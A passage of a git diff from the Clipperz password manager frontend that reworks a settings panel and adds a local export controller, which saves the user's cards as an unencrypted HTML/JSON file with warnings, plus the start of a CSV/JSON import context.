												React.DOM.li({'key':'account_5', 'onClick':this.toggleExtraFeatureComponent('DeleteAccount'), 'className':(this.state['extraFeatureComponentName'] == 'DeleteAccount') ? 'selected' : ''}, [
 | 
				
			||||||
								React.DOM.h2({}, "Delete account"),
 | 
													React.DOM.h2({}, "Delete account"),
 | 
				
			||||||
								React.DOM.div({}, [
 | 
													React.DOM.div({}, [
 | 
				
			||||||
									React.DOM.p({}, "")
 | 
														React.DOM.p({}, "Delete your account for good.")
 | 
				
			||||||
								])
 | 
													])
 | 
				
			||||||
							])
 | 
												])
 | 
				
			||||||
						])
 | 
											])
 | 
				
			||||||
@@ -183,29 +186,29 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
 | 
				
			|||||||
					React.DOM.li({'key':'data', 'className':this.state['index']['data'] ? 'open' : 'closed'}, [
 | 
										React.DOM.li({'key':'data', 'className':this.state['index']['data'] ? 'open' : 'closed'}, [
 | 
				
			||||||
						React.DOM.h1({'onClick':this.toggleIndexState('data')}, "Data"),
 | 
											React.DOM.h1({'onClick':this.toggleIndexState('data')}, "Data"),
 | 
				
			||||||
						React.DOM.ul({'key':'data'}, [
 | 
											React.DOM.ul({'key':'data'}, [
 | 
				
			||||||
							React.DOM.li({'key':'data_1'}, [
 | 
					//							React.DOM.li({'key':'data_1'}, [
 | 
				
			||||||
								React.DOM.h2({}, "Offline copy"),
 | 
					//								React.DOM.h2({}, "Offline copy"),
 | 
				
			||||||
								React.DOM.div({}, [
 | 
					//								React.DOM.div({}, [
 | 
				
			||||||
									React.DOM.p({}, "With just one click you can dump all your encrypted data from Clipperz servers to your hard disk and create a read-only offline version of Clipperz to be used when you are not connected to the Internet."),
 | 
					//									React.DOM.p({}, "With just one click you can dump all your encrypted data from Clipperz servers to your hard disk and create a read-only offline version of Clipperz to be used when you are not connected to the Internet."),
 | 
				
			||||||
									React.DOM.a({'className':Clipperz.PM.UI.Components.classNames(offlineCopyButtonClasses), 'onClick':this.handleDownloadOfflineCopyLink}, "Download")
 | 
					//									React.DOM.a({'className':Clipperz.PM.UI.Components.classNames(offlineCopyButtonClasses), 'onClick':this.handleDownloadOfflineCopyLink}, "Download")
 | 
				
			||||||
								])
 | 
					//								])
 | 
				
			||||||
							]),
 | 
					//							]),
 | 
				
			||||||
							React.DOM.li({'key':'data_2', 'onClick':this.showExtraFeatureComponent('DataImport')}, [
 | 
												React.DOM.li({'key':'data_2', 'onClick':this.toggleExtraFeatureComponent('DataImport'), 'className':(this.state['extraFeatureComponentName'] == 'DataImport') ? 'selected' : ''}, [
 | 
				
			||||||
								React.DOM.h2({}, "Import"),
 | 
													React.DOM.h2({}, "Import"),
 | 
				
			||||||
								React.DOM.div({}, [
 | 
													React.DOM.div({}, [
 | 
				
			||||||
									React.DOM.p({}, "")
 | 
														React.DOM.p({}, "CSV, JSON, …")
 | 
				
			||||||
								])
 | 
													])
 | 
				
			||||||
							]),
 | 
												]),
 | 
				
			||||||
							React.DOM.li({'key':'data_3'}, [
 | 
												React.DOM.li({'key':'data_3', 'onClick':this.toggleExtraFeatureComponent('DataExport'), 'className':(this.state['extraFeatureComponentName'] == 'DataExport') ? 'selected' : ''}, [
 | 
				
			||||||
								React.DOM.h2({}, "Export"),
 | 
													React.DOM.h2({}, "Export"),
 | 
				
			||||||
								React.DOM.div({}, [
 | 
													React.DOM.div({}, [
 | 
				
			||||||
									React.DOM.p({}, "")
 | 
														React.DOM.p({}, "Offline copy, printable version, JSON, …")
 | 
				
			||||||
								])
 | 
													])
 | 
				
			||||||
							]),
 | 
												]),
 | 
				
			||||||
							React.DOM.li({'key':'data_4'}, [
 | 
												React.DOM.li({'key':'data_4'}, [
 | 
				
			||||||
								React.DOM.h2({}, "Sharing"),
 | 
													React.DOM.h2({}, "Sharing"),
 | 
				
			||||||
								React.DOM.div({}, [
 | 
													React.DOM.div({}, [
 | 
				
			||||||
									React.DOM.p({}, "")
 | 
														React.DOM.p({}, "Securely share cards with other users")
 | 
				
			||||||
								])
 | 
													])
 | 
				
			||||||
							])
 | 
												])
 | 
				
			||||||
						])
 | 
											])
 | 
				
			||||||
@@ -230,17 +233,20 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
	render: function () {
 | 
						render: function () {
 | 
				
			||||||
//console.log("ExtraFeaturesPanel props", this.props);
 | 
					//console.log("ExtraFeaturesPanel props", this.props);
 | 
				
			||||||
 | 
							var isOpen = (this.props['settingsPanelStatus'] == 'OPEN');
 | 
				
			||||||
 | 
							var isFullyOpen = isOpen && this.state['isFullyOpen'];
 | 
				
			||||||
 | 
							
 | 
				
			||||||
		var	classes = {
 | 
							var	classes = {
 | 
				
			||||||
			'panel': true,
 | 
								'panel': true,
 | 
				
			||||||
			'right': true,
 | 
								'right': true,
 | 
				
			||||||
			'open': this.props['settingsPanelStatus'] == 'OPEN',
 | 
								'open': isOpen,
 | 
				
			||||||
			'fullOpen': this.state['isFullyOpen']
 | 
								'fullOpen': isFullyOpen
 | 
				
			||||||
		}
 | 
							}
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
 | 
					 | 
				
			||||||
		return	React.DOM.div({'key':'extraFeaturesPanel', 'id':'extraFeaturesPanel', 'className':Clipperz.PM.UI.Components.classNames(classes)}, [
 | 
							return	React.DOM.div({'key':'extraFeaturesPanel', 'id':'extraFeaturesPanel', 'className':Clipperz.PM.UI.Components.classNames(classes)}, [
 | 
				
			||||||
			this.renderIndex(),
 | 
								this.renderIndex(),
 | 
				
			||||||
			this.renderContent(),
 | 
								this.renderContent(),
 | 
				
			||||||
 | 
					//			(this.props['settingsPanelStatus'] == 'OPEN') ? this.renderContent() : null,
 | 
				
			||||||
		]);
 | 
							]);
 | 
				
			||||||
	}
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 
 | 
				
			|||||||
							
								
								
									
										278
									
								
								frontend/delta/js/Clipperz/PM/UI/ExportController.js
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										278
									
								
								frontend/delta/js/Clipperz/PM/UI/ExportController.js
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,278 @@
 | 
				
			|||||||
 | 
					/*
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Copyright 2008-2015 Clipperz Srl
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					This file is part of Clipperz, the online password manager.
 | 
				
			||||||
 | 
					For further information about its features and functionalities please
 | 
				
			||||||
 | 
					refer to http://www.clipperz.com.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Clipperz is free software: you can redistribute it and/or modify it
 | 
				
			||||||
 | 
					  under the terms of the GNU Affero General Public License as published
 | 
				
			||||||
 | 
					  by the Free Software Foundation, either version 3 of the License, or 
 | 
				
			||||||
 | 
					  (at your option) any later version.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Clipperz is distributed in the hope that it will be useful, but 
 | 
				
			||||||
 | 
					  WITHOUT ANY WARRANTY; without even the implied warranty of 
 | 
				
			||||||
 | 
					  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 | 
				
			||||||
 | 
					  See the GNU Affero General Public License for more details.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* You should have received a copy of the GNU Affero General Public
 | 
				
			||||||
 | 
					  License along with Clipperz. If not, see http://www.gnu.org/licenses/.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					*/
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					"use strict";
 | 
				
			||||||
 | 
					Clipperz.Base.module('Clipperz.PM.UI');
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					//	https://github.com/eligrey/FileSaver.js
 | 
				
			||||||
 | 
					//	https://github.com/eligrey/Blob.js
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Clipperz.PM.UI.ExportController = function(args) {
 | 
				
			||||||
 | 
						this._recordsInfo	= args['recordsInfo']	|| Clipperz.Base.exception.raise('MandatoryParameter');
 | 
				
			||||||
 | 
						this._processedRecords = 0;
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						this._style =
 | 
				
			||||||
 | 
							"body {" +
 | 
				
			||||||
 | 
								"font-family: 'Dejavu Sans', monospace;" +
 | 
				
			||||||
 | 
								"margin: 0px;" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							"header {" +
 | 
				
			||||||
 | 
								"padding: 10px;" +
 | 
				
			||||||
 | 
								"border-bottom: 2px solid black;" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							"h1 {" +
 | 
				
			||||||
 | 
								"margin: 0px;" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							"h2 {" +
 | 
				
			||||||
 | 
								"margin: 0px;" +
 | 
				
			||||||
 | 
								"padding-top: 10px;" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							"h3 {" +
 | 
				
			||||||
 | 
								"margin: 0px;" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							"h5 {" +
 | 
				
			||||||
 | 
								"margin: 0px;" +
 | 
				
			||||||
 | 
								"color: gray;" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							"ul {" +
 | 
				
			||||||
 | 
								"margin: 0px;" +
 | 
				
			||||||
 | 
								"padding: 0px;" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							"div > ul > li {" +
 | 
				
			||||||
 | 
								"border-bottom: 1px solid black;" +
 | 
				
			||||||
 | 
								"padding: 10px;" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							"div > ul > li.archived {" +
 | 
				
			||||||
 | 
								"background-color: #ddd;" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							"ul > li > ul > li {" +
 | 
				
			||||||
 | 
								"font-size: 9pt;" +
 | 
				
			||||||
 | 
								"display: inline-block;" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							"ul > li > ul > li:after {" +
 | 
				
			||||||
 | 
								"content: \",\";" +
 | 
				
			||||||
 | 
								"padding-right: 5px;" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							"ul > li > ul > li:last-child:after {" +
 | 
				
			||||||
 | 
								"content: \"\";" +
 | 
				
			||||||
 | 
								"padding-right: 0px;" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							"dl {" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							"dt {" +
 | 
				
			||||||
 | 
								"color: gray;" +
 | 
				
			||||||
 | 
								"font-size: 9pt;" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							"dd {" +
 | 
				
			||||||
 | 
								"margin: 0px;" +
 | 
				
			||||||
 | 
								"margin-bottom: 5px;" +
 | 
				
			||||||
 | 
								"padding-left: 10px;" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							"div > div {" +
 | 
				
			||||||
 | 
								"background-color: black;" +
 | 
				
			||||||
 | 
								"color: white;" +
 | 
				
			||||||
 | 
								"padding: 10px;" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							"textarea {" +
 | 
				
			||||||
 | 
								"width: 100%;" +
 | 
				
			||||||
 | 
								"height: 200px;" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							"@media print {" +
 | 
				
			||||||
 | 
								"div > div, header > div {" +
 | 
				
			||||||
 | 
									"display: none !important;" +
 | 
				
			||||||
 | 
								"}" +
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								"ul > li {" +
 | 
				
			||||||
 | 
									"page-break-inside: avoid;" +
 | 
				
			||||||
 | 
								"}	" +
 | 
				
			||||||
 | 
							"}" +
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
							"";
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						return this;
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					MochiKit.Base.update(Clipperz.PM.UI.ExportController.prototype, {
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						'toString': function() {
 | 
				
			||||||
 | 
							return "Clipperz.PM.UI.ExportController";
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						//-----------------------------------------------------------------------------
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						'recordsInfo': function () {
 | 
				
			||||||
 | 
							return this._recordsInfo;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						//=============================================================================
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						'reportRecordExport': function (aRecordData) {
 | 
				
			||||||
 | 
							var percentage;
 | 
				
			||||||
 | 
							var	exportedCardsCount;
 | 
				
			||||||
 | 
							var totalCardsToExport;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							this._processedRecords = this._processedRecords + 1;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							exportedCardsCount = this._processedRecords;
 | 
				
			||||||
 | 
							totalCardsToExport = this.recordsInfo().length;
 | 
				
			||||||
 | 
							percentage = Math.round(100 * exportedCardsCount / totalCardsToExport);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					//console.log("PROCESSING " + exportedCardsCount + "/" + totalCardsToExport + " - " + percentage + "%");
 | 
				
			||||||
 | 
							MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'updateProgress', percentage);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return MochiKit.Async.succeed(aRecordData);
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						//=============================================================================
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						'renderCardToHtml': function (jsonCardData) {
 | 
				
			||||||
 | 
							var	label = Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(jsonCardData.label);
 | 
				
			||||||
 | 
							var allTags = MochiKit.Base.keys(Clipperz.PM.DataModel.Record.extractTagsFromFullLabel(jsonCardData.label));
 | 
				
			||||||
 | 
							var regularTags = MochiKit.Base.filter(Clipperz.PM.DataModel.Record.isRegularTag, allTags);
 | 
				
			||||||
 | 
							var	isArchived = MochiKit.Iter.some(allTags, MochiKit.Base.partial(MochiKit.Base.objEqual, Clipperz.PM.DataModel.Record.archivedTag));
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return MochiKit.DOM.LI({'class': isArchived ? 'archived' : ""},
 | 
				
			||||||
 | 
								MochiKit.DOM.H2({}, label),
 | 
				
			||||||
 | 
								(regularTags.length > 0) ? MochiKit.DOM.UL({}, MochiKit.Base.map(function (tag) { return MochiKit.DOM.LI({}, tag);}, regularTags)): null,
 | 
				
			||||||
 | 
								MochiKit.DOM.DIV({},
 | 
				
			||||||
 | 
									MochiKit.DOM.DL({},
 | 
				
			||||||
 | 
										MochiKit.Base.map(function(key) {
 | 
				
			||||||
 | 
											return [
 | 
				
			||||||
 | 
												MochiKit.DOM.DT(jsonCardData.currentVersion.fields[key].label),
 | 
				
			||||||
 | 
												MochiKit.DOM.DD(jsonCardData.currentVersion.fields[key].value),
 | 
				
			||||||
 | 
											];
 | 
				
			||||||
 | 
										}, MochiKit.Base.keys(jsonCardData.currentVersion.fields))
 | 
				
			||||||
 | 
									)
 | 
				
			||||||
 | 
								),
 | 
				
			||||||
 | 
								jsonCardData.data.notes ? MochiKit.DOM.P({}, jsonCardData.data.notes) : null
 | 
				
			||||||
 | 
							);
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						'renderToHtml': function (jsonData) {
 | 
				
			||||||
 | 
							var title;
 | 
				
			||||||
 | 
							var style;
 | 
				
			||||||
 | 
							var date;
 | 
				
			||||||
 | 
							var body;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							title = "Clipperz data";
 | 
				
			||||||
 | 
							style = this._style;
 | 
				
			||||||
 | 
							date  = "dd/mm/yyyy";
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							body = MochiKit.DOM.DIV({},
 | 
				
			||||||
 | 
								MochiKit.DOM.HEADER({},
 | 
				
			||||||
 | 
									MochiKit.DOM.H1({}, "Your data on Clipperz"),
 | 
				
			||||||
 | 
									MochiKit.DOM.H5({}, "Export date: " + date),
 | 
				
			||||||
 | 
									MochiKit.DOM.DIV({},
 | 
				
			||||||
 | 
										MochiKit.DOM.P({}, "Security warning - This file lists the content of all your cards in a printer-friendly format. At the very bottom, the same content is also available in JSON format."),
 | 
				
			||||||
 | 
										MochiKit.DOM.P({}, "Beware: all data are unencrypted! Therefore make sure to properly store and manage this file. We recommend to delete it as soon as it is no longer needed."),
 | 
				
			||||||
 | 
										MochiKit.DOM.P({}, "If you are going to print its content on paper, store the printout in a safe and private place!"),
 | 
				
			||||||
 | 
										MochiKit.DOM.P({}, "And, if you need to access your data when no Internet connection is available, please consider the much safer option of creating an offline copy.")
 | 
				
			||||||
 | 
									)
 | 
				
			||||||
 | 
								),
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								MochiKit.DOM.UL({}, MochiKit.Base.map(this.renderCardToHtml, jsonData)),
 | 
				
			||||||
 | 
								MochiKit.DOM.DIV({},
 | 
				
			||||||
 | 
									MochiKit.DOM.H3({}, "JSON content"),
 | 
				
			||||||
 | 
									MochiKit.DOM.DIV({},
 | 
				
			||||||
 | 
										MochiKit.DOM.P({}, "Instructions on how to use JSON content"),
 | 
				
			||||||
 | 
										MochiKit.DOM.P({}, "The JSON version of your data may be useful if you want to move the whole content of your Clipperz account to a new Clipperz account or recover a card that has been accidentally deleted. Just follow these instructions:"),
 | 
				
			||||||
 | 
										MochiKit.DOM.OL({},
 | 
				
			||||||
 | 
											MochiKit.DOM.LI({}, "Login to your Clipperz account and go to \"Data > Import\"."),
 | 
				
			||||||
 | 
											MochiKit.DOM.LI({}, "Select the JSON option."),
 | 
				
			||||||
 | 
											MochiKit.DOM.LI({}, "Copy and paste the JSON content in the form.")
 | 
				
			||||||
 | 
										),
 | 
				
			||||||
 | 
										MochiKit.DOM.P({}, "Of course, the unencrypted JSON content won't be transmitted to the Clipperz server.")
 | 
				
			||||||
 | 
									),
 | 
				
			||||||
 | 
									MochiKit.DOM.TEXTAREA({}, Clipperz.Base.serializeJSON(jsonData)),
 | 
				
			||||||
 | 
									MochiKit.DOM.FOOTER({},
 | 
				
			||||||
 | 
										MochiKit.DOM.P({},
 | 
				
			||||||
 | 
											"This file has been downloaded from clipperz.is, a service by Clipperz Srl. - ",
 | 
				
			||||||
 | 
											MochiKit.DOM.A({'href':'https://clipperz.is/terms_service/'}, "Terms of service"),
 | 
				
			||||||
 | 
											" - ",
 | 
				
			||||||
 | 
											MochiKit.DOM.A({'href':'https://clipperz.is/privacy_policy/'}, "Privacy policy")
 | 
				
			||||||
 | 
										),
 | 
				
			||||||
 | 
										MochiKit.DOM.H4({}, "Clipperz - keep it to yourself")
 | 
				
			||||||
 | 
									)
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return '<html><head><title>' + title + '</title><style type="text/css">' + style + '</style></head><body>' + MochiKit.DOM.toHTML(body) + '</body></html>';
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						//----------------------------------------------------------------------------
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						'saveResult': function (exportedJSON) {
 | 
				
			||||||
 | 
							var blob;
 | 
				
			||||||
 | 
							var sortedJSON;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							sortedJSON = MochiKit.Iter.sorted(exportedJSON, function(a,b) { return a.label.toUpperCase().localeCompare(b.label.toUpperCase()); } );
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							blob = new Blob([this.renderToHtml(sortedJSON)], {type: "text/html;charset=utf-8"});
 | 
				
			||||||
 | 
							saveAs(blob, "clipperz_data.html");
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						//=============================================================================
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						'run': function () {
 | 
				
			||||||
 | 
							var deferredResult;
 | 
				
			||||||
 | 
							var self = this;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							deferredResult = new Clipperz.Async.Deferred("ExportController.run", {trace:false});
 | 
				
			||||||
 | 
							deferredResult.addCallback(MochiKit.Base.map, function(recordIn) {
 | 
				
			||||||
 | 
								var innerDeferredResult;
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
								innerDeferredResult = new Clipperz.Async.Deferred("ExportController.run__exportRecord", {trace:false});
 | 
				
			||||||
 | 
								innerDeferredResult.addMethod(recordIn._rowObject, 'export');
 | 
				
			||||||
 | 
								innerDeferredResult.addMethod(self, 'reportRecordExport');
 | 
				
			||||||
 | 
								innerDeferredResult.callback();
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								return innerDeferredResult;
 | 
				
			||||||
 | 
							});
 | 
				
			||||||
 | 
							deferredResult.addCallback(Clipperz.Async.collectAll);
 | 
				
			||||||
 | 
							deferredResult.addMethod(this, 'saveResult');
 | 
				
			||||||
 | 
							deferredResult.callback(this.recordsInfo());
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return deferredResult;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						//=============================================================================
 | 
				
			||||||
 | 
						__syntaxFix__: "syntax fix"
 | 
				
			||||||
 | 
					});
 | 
				
			||||||
							
								
								
									
										148
									
								
								frontend/delta/js/Clipperz/PM/UI/ImportContext.js
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										148
									
								
								frontend/delta/js/Clipperz/PM/UI/ImportContext.js
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,148 @@
 | 
				
			|||||||
 | 
					/*
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Copyright 2008-2015 Clipperz Srl
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					This file is part of Clipperz, the online password manager.
 | 
				
			||||||
 | 
					For further information about its features and functionalities please
 | 
				
			||||||
 | 
					refer to http://www.clipperz.com.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Clipperz is free software: you can redistribute it and/or modify it
 | 
				
			||||||
 | 
					  under the terms of the GNU Affero General Public License as published
 | 
				
			||||||
 | 
					  by the Free Software Foundation, either version 3 of the License, or 
 | 
				
			||||||
 | 
					  (at your option) any later version.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Clipperz is distributed in the hope that it will be useful, but 
 | 
				
			||||||
 | 
					  WITHOUT ANY WARRANTY; without even the implied warranty of 
 | 
				
			||||||
 | 
					  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 | 
				
			||||||
 | 
					  See the GNU Affero General Public License for more details.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* You should have received a copy of the GNU Affero General Public
 | 
				
			||||||
 | 
					  License along with Clipperz. If not, see http://www.gnu.org/licenses/.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					*/
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					"use strict";
 | 
				
			||||||
 | 
					Clipperz.Base.module('Clipperz.PM.UI');
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Clipperz.PM.UI.ImportContext = function(args) {
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						this.inputString = null;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
						return this;
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					MochiKit.Base.update(Clipperz.PM.UI.ImportContext.prototype, {
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						'toString': function() {
 | 
				
			||||||
 | 
							return "Clipperz.PM.UI.ImportContext";
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						//=============================================================================
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						'resetContext': function() {
 | 
				
			||||||
 | 
							delete this.inputString;
 | 
				
			||||||
 | 
							delete this.format;
 | 
				
			||||||
 | 
							delete this.jsonToImport;
 | 
				
			||||||
 | 
							delete this.recordsToImport;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						'getInitialJsonContext': function(aJsonList) {
 | 
				
			||||||
 | 
							return {
 | 
				
			||||||
 | 
								'format': 'json',
 | 
				
			||||||
 | 
								'jsonToImport': aJsonList,
 | 
				
			||||||
 | 
								'recordsToImport': aJsonList.map(function(d){return d._importId})
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						'getInitialCsvContext': function(aCsvTable) {
 | 
				
			||||||
 | 
							var result;
 | 
				
			||||||
 | 
							var nColumns;
 | 
				
			||||||
 | 
							var defaultSelectedColumns;
 | 
				
			||||||
 | 
							var defaultHiddenColumns;
 | 
				
			||||||
 | 
							var defaultColumnLabels;
 | 
				
			||||||
 | 
							var columnLabelsFirstrow;
 | 
				
			||||||
 | 
							var i;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							nColumns = aCsvTable[0].length;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							defaultSelectedColumns = {};
 | 
				
			||||||
 | 
							defaultHiddenColumns = {};
 | 
				
			||||||
 | 
							defaultColumnLabels = {};
 | 
				
			||||||
 | 
							columnLabelsFirstrow = {};
 | 
				
			||||||
 | 
							for (i=0; i<nColumns; i++) {
 | 
				
			||||||
 | 
								defaultSelectedColumns[i] = true;
 | 
				
			||||||
 | 
								defaultHiddenColumns[i] = false;
 | 
				
			||||||
 | 
								defaultColumnLabels[i] = "";
 | 
				
			||||||
 | 
								columnLabelsFirstrow[i] = aCsvTable[0][i];
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
							return {
 | 
				
			||||||
 | 
								'format': 'csv',
 | 
				
			||||||
 | 
								'parsedCsv': aCsvTable,
 | 
				
			||||||
 | 
								'nColumns': nColumns,
 | 
				
			||||||
 | 
								'selectedColumns': defaultSelectedColumns,
 | 
				
			||||||
 | 
								'firstRowAsLabels': false,
 | 
				
			||||||
 | 
								'columnLabels': defaultColumnLabels,
 | 
				
			||||||
 | 
								'columnLabelsFirstrow': columnLabelsFirstrow,
 | 
				
			||||||
 | 
								'titlesColumn': null,
 | 
				
			||||||
 | 
								'notesColumn': null,
 | 
				
			||||||
 | 
								'hiddenColumns': defaultHiddenColumns,
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						'getCsvLabels': function() {
 | 
				
			||||||
 | 
							return (this.firstRowAsLabels) ? this.columnLabelsFirstrow : this.columnLabels;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						'processCsv': function() {
 | 
				
			||||||
 | 
							var jsonToImport;
 | 
				
			||||||
 | 
							var recordsToImport;
 | 
				
			||||||
 | 
							var columnLabels = this.getCsvLabels();
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							jsonToImport = [];
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							for (rowCount=0; rowCount<this.parsedCsv.length; rowCount++) {
 | 
				
			||||||
 | 
								var rowCount,cellCount;
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
								if (rowCount != 0 || ! this.firstRowAsLabels) {
 | 
				
			||||||
 | 
									var record;
 | 
				
			||||||
 | 
									
 | 
				
			||||||
 | 
									record = {};
 | 
				
			||||||
 | 
									record._importId = rowCount;
 | 
				
			||||||
 | 
									record.label = this.parsedCsv[rowCount][this.titlesColumn];
 | 
				
			||||||
 | 
									record.data = {'notes': ""};
 | 
				
			||||||
 | 
									record.currentVersion = {'fields': {}};
 | 
				
			||||||
 | 
									
 | 
				
			||||||
 | 
									for (cellCount=0; cellCount<this.parsedCsv[rowCount].length; cellCount++) {
 | 
				
			||||||
 | 
										if (this.selectedColumns[cellCount] && cellCount != this.notesColumn && cellCount != this.titlesColumn) {
 | 
				
			||||||
 | 
											var fieldKey = rowCount+"-"+cellCount;
 | 
				
			||||||
 | 
											var field = {
 | 
				
			||||||
 | 
												'label': columnLabels[cellCount],
 | 
				
			||||||
 | 
												'value': this.parsedCsv[rowCount][cellCount],
 | 
				
			||||||
 | 
												'hidden': this.hiddenColumns[cellCount]
 | 
				
			||||||
 | 
											};
 | 
				
			||||||
 | 
											record.currentVersion.fields[fieldKey] = field;
 | 
				
			||||||
 | 
